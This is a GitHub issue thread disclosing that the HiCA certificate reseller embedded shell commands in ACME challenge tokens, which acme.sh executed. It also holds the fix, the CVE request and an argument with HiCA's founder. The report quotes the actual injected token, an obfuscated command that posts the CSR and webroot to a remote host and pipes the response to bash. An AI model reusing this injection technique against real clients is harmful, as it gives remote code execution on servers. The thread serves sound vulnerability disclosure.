-
-
Notifications
You must be signed in to change notification settings - Fork 5.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
acme.sh runs arbitrary commands from a remote server #4659
Comments
Please upgrade to the latest code and try again first. Maybe it's already fixed. |
My quick read is that it is to allow HiCA to use an "HTTPS validation" method with ACME and get around the limitations in BRs 3.2.2.4.19 Specifically. http-01 doesn't allow a direct connection to 443 and requires the challenge to be posted at /.well-known/acme-challenge/ 3.2.2.4.18 allows you to validate via 443 but it also makes you host the challenge at .well-known/pki-validation Edit: HiCA advertises using an "HTTPS Validation" method here. I was wondering how they achieved that. |
I should clarify - as I mentioned, I'm not familiar with acme.sh, so I haven't directly proven that it actually does execute the commands, but HiCA seems to believe it does: it's the only ACME client they allow, and they specifically designed their service relying on this. UPDATE: See below, we have confirmation. Here's some of my debug logs from running acme.sh that I used to verify that it was successful up to the point of downloading the certificate (which I didn't, because they wanted payment):
The log says "Success" and that verification succeeded, and since it needs the Token and KeyAuth to verify, I do assume it worked/eval'ed. Some of the log lines seem to suggest that the code may not have been evaluated, but I'm not sure if the log output accurately reflects what is or isn't being executed. If someone familiar with this project could verify, that would be helpful. |
@xiaohuilam You seem to be familiar with both HiCA and acme.sh. Could you offer some insight? |
It seems like this is using a (I believe as a white label) intermediate from This is the email I got from them: |
We now have another confirmation on Twitter that remote code is executed and a glimpse into what the script is: (Thank you Aleksejs Popovs!) Fortunately it appears to be benign. (However, all concerns related to RCE and ACME conformance still apply.) |
Did you inform mozilla or google/microsoft/apple as the big CA bundlers? I had a look at https://bugzilla.mozilla.org/buglist.cgi?product=CA%20Program&component=CA%20Certificate%20Compliance&resolution=--- but it might be hidden :) |
I think the bigger issue than them doing that is acme.sh allowing it. I think a fix for RCE is warranted, quickly. And then a proper security advisory / CVE. |
This comment was marked as off-topic.
This comment was marked as off-topic.
Is it already clear why acme.sh executes the embedded command? If so I missed it in this issue. Without further testing I would assume it is the following line Line 4966 in 0d25f76
Would match @mholt's log output. The
But would require some more work because some invocations of Line 3186 in 0d25f76
|
I fully agree that
See the result:
That's pure Bash syntax, no executing separate programs like coreutils. If we can't rely on Bash, then I think the only other alternative for safe quoting/escaping of input strings is
|
Could work with one addition:
So you would need to explicit run the coreutils printf like |
This comment was marked as off-topic.
This comment was marked as off-topic.
Users of acme.sh on embedded systems with limited resources, such as small routers running OpenWrt, probably prefer installing printf from coreutils over bash which is much larger. |
Thanks to mholt to report this incident or bug to the community. And please allow me to introduce my project. this is Bruce, the founder of Quantum CA, we provides HiCA for non profit purpose, to provide ssl for free (RSA). We even donated 1000 USD to acme.sh last year to support the community developers, Except us any CA or reseller did this? And the validation process implemented a undisclosures bug, yes, we utilized. But our purpose is to makes the normal CA signing progress into acme.sh possible. We agree this is harmful to acme.sh community but we didn’t inject any attacking codes since the first day of HiCA and to today. Mohlt’s request signing analysis can proof this. The code execution way we utilized is to implement a flexibility cert provider which can enroll by acme.sh likely letsencrypt. And this ability we can’t be granted from CAs.(after all, we are only a resellers, the Fully rfc8555 can be only provided by CA, because they need to check all challenges and it’s incompatible with pki-validation ways). finally, we closed HiCA project and keep this before the community investigation finished. sorry to free users of HiCA. |
I would like to add some my speculations on the possible purpose of that CA. It seems that HI-CA is not a certificate issuing CA, but a reseller or broker of another well-trusted CA. The former “CA” obtains some kind of non-standard automated certificate issuing interface from the latter CA. HI-CA wants to “wrap” that interface into something that looks like ACME. However, this is not possible because: 1. the “well-known” path for the two certificate issuing process is different, one is “acme-challenge”; the other is “pki-validation”. 2. the content of the file to be put in “pki-validation/” is an opaque text given by the certificate issuing CA, while the content of the ACME challenge file should be a cryptographic calculating result which both the ACME client and the CA agree on. As a result, HI-CA “invented” such a method exploiting |
We must forbidden the HiCA. It is destroying the security of ACME. |
you have no necessary to do this, we have turned all servers down. |
Bug: acmesh-official/acme.sh#4659 Bug: https://bugs.gentoo.org/908104 Signed-off-by: Sam James <sam@gentoo.org>
You actually have good intentions. However you need to understand that this world needs regulations to work. |
as a quick fix, I just removed the problematic "_exec" from that line. |
merged to master. new release will be soon. |
You should not close this issue at this stage. |
HiCA didn't respond properly to this issue, incredible that they shut down all their servers and official website. |
Which question I didn’t reply, May I ask? |
Is there any information about HiCA's certificate of CA which like sha1-hash and keyid, so that I can revoke/disable the HiCA trust-chain in local. And I think this issue should be reported to public, and make decision for revoking the CA certificate of HiCA to all people. |
And their payment gateway (https://tencentcloud.accelerate.pki.plus/) redirects to the White House website. |
This is the WAF rule. |
@Neilpang You should probably request a CVE for this. |
🤣 well played. |
As you see yourself as a proper CA, the following text is based on that fact. See for example this (minor) incident, where a CA failed to publicly disclose one of their intermediate certificates to the public in a timely manner: https://bugzilla.mozilla.org/show_bug.cgi?id=1784820 Operating any kind of CA where the certificates are trusted globally is no joke, because that CA can potentially fake certificates for banking services and such. However, in my opinion, just yoinking your services down and creating some WAF rules that redirect to the white house (why even THAT site? Show a 403 forbidden or something) is not something I personally see trust in. |
In the Google snapshot I see HiCA official recommends to run acme.sh as root user. |
Hey, um, this is the acme.sh bug tracker. This bug is about an RCE in acme.sh, and possibly there are other places in the code with the same issue. Can we please keep the discussion on that rather than some random CA that just happened to exploit this RCE? The CA is not the problem in this bug (take this to the CA forum), but the defect in the code is. Personally, I’m not using this CA, but am now getting spammed for this because people abuse this bug to talk about some CA rather than the bug - and I guess a lot of others are in the same situation as I. Use the correct venue please. |
We ARE NOT a CA. Our certs is issued by SSL.com、Sectigo、GTS,by be compliant their BR validation requirements. We ARE reseller or subscriber of those CAs, so we don’t have needed to match webtrust standards because we don’t provide any PKI infrastructure. |
@xiaohuilam Your company (or your CA's company) is registered in China, the code of company is |
It’s tutorial copied from others article. NOT we meant. the source article is http://web.archive.org/web/20230201113221/https://blog.freessl.cn/acme-quick-start/. |
@xiaohuilam If you are not a CA, you have NOT ANY reasons to sell the certificate or publish the payment information with ACME users. And in your website, you said "We provide OCSP in China Mainland", how did you do that? The OCSP services must be operated by CA. |
We're not a CA, we have no public key infrastructures including public CA or private CA. |
@LeviMarvin @xiaohuilam Thanks. |
@xiaohuilam As of now, you have not given a formal explanation (including the reasons for doing so) on "using the ACME client for commercial activities", but continue to quibble in this issue. At the same time, you said that the HiCA server has been shut down, and some traffic is redirected to the White House page because of WAF operation. Why do you (and your company) configure this WAF rule? It is even more scandalous if traffic is directed to a third-party site just to prevent DDos attacks. |
All of information is published by yourself (or your company-self) to public. This is mandatory under Chinese law and does not violate your privacy. |
@boomer41 Of course. |
Commercialization abilities is the QRCode output part, which isn't the RCE. it has no security concern. (No potential risks to local server actually, and how to category the QRCode outputs if you are a CVE reviewer?) |
But it's on our site, we never authorized you to disclosure anywhere else. Even we published our photo on our website, we reserves all the copyright and privacy. But you shared at social media this is totally violate for them. |
|
@Neilpang The discussion is completely heading to off-topic and heated, we should lock the issue now |
We should start a new issue to disscusion the bug about ACME. HiCA's problem will be reported to CA/B. |
sorry guys, new release is out. All the "exec" are removed, that was originally added for a better display of the error message. If you have any more bugs found, please let me know. |
someone created a CVE: |
Hello,
You may already be aware of this, but HiCA is injecting arbitrary code/commands into the certificate obtaining process and acme.sh is running them on the client machine. I am not sure if this is intentional, expected by users, or safe/unsafe. But I'm documenting my findings for the public to be aware of with this CA.
HiCA's documentation explains that it only supports acme.sh as a client. This was curious to me so I tried to learn why, if it is using ACME (and the ACME logo!) it should be basically compatible with the majority of ACME clients. While obtaining a certificate using ACMEz, I discovered that the Directory was blocked unless the User-Agent is set to a string that starts with
Mozilla
oracme.sh/2.8.2 (https://github.com/Neilpang/acme.sh)
. (Firefox loaded the directory just fine, which is surprising because Firefox is not acme.sh.) (I also noticed thatcaaIdentities
includes a variety of CAs including Google Trust Services and SSL.com. Curious.)Once I faked the UA in my own client and got that working, issuance still failed. Curiously, the error message involved trying a URL of
../pki-validation
. This doesn't make any sense to me even though that kind of appears in their docs because it is not standard ACME, so I dug a little deeper to figure out what the Challenge object consisted of that would cause my client to try making a request to../pki-validation
.It turns out that the Challenge objects look unusual. Here's a lightly-formatted example:
Now it became immediately obvious to my why HiCA only supports acme.sh. They are not conforming to ACME at all! (Bugs the heck outa me that they're using the official ACME logo on their site even though they don't implement the ACME standard.)
Instead, HiCA is stealthily crafting
curl
commands and piping the output tobash
. acme.sh is (being tricked into?) running arbitrary code from a remote server. ❗Here's my analysis so far:
The Token string is NOT in conformance with RFC 8555, which states: "the token for a challenge is a string comprised entirely of characters in the URL safe base64 alphabet." (
#
is not URL-safe).However you can tell they're abusing this Token string to encode structure that can be parsed by splitting on "#":
/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321\?o\=\$_w\|bash\)/.well-known/acme-challenge/dd
after running acme.sh for a test domain though. It contains the value "dd"...csr/http
endpoint successfully. I haven't crafted a successful request to this endpoint yet.curl -sF csr=@... https://...?o=$_w
. In other words, it sends the CSR (provided by acme.sh variable$csr
) and your web root to the CA and then pipes the response of that command straight into bash and acme.sh runs it. 😬I am hoping you could help me craft a request to see the contents of the script that is being run. It seems to involve writing to the disk sinceUPDATE: Aleksejs Popovs has extracted the remote script and verified that it does get executed in a VM.o
(output?) contains the webroot (the value of$_w
in acme.sh).Anyway, this all seems very worrisome to me.
I am not sure why HiCA is doing what they are doing. But this intentional deviation from RFC 8555 and the lack of transparency on their docs is suspicious and concerning.
I am not sure if it is intentional that acme.sh is allowing arbitrary commands from a remote server to execute.
Hopefully this is helpful and maybe you can provide some insight and recommendations.
The text was updated successfully, but these errors were encountered: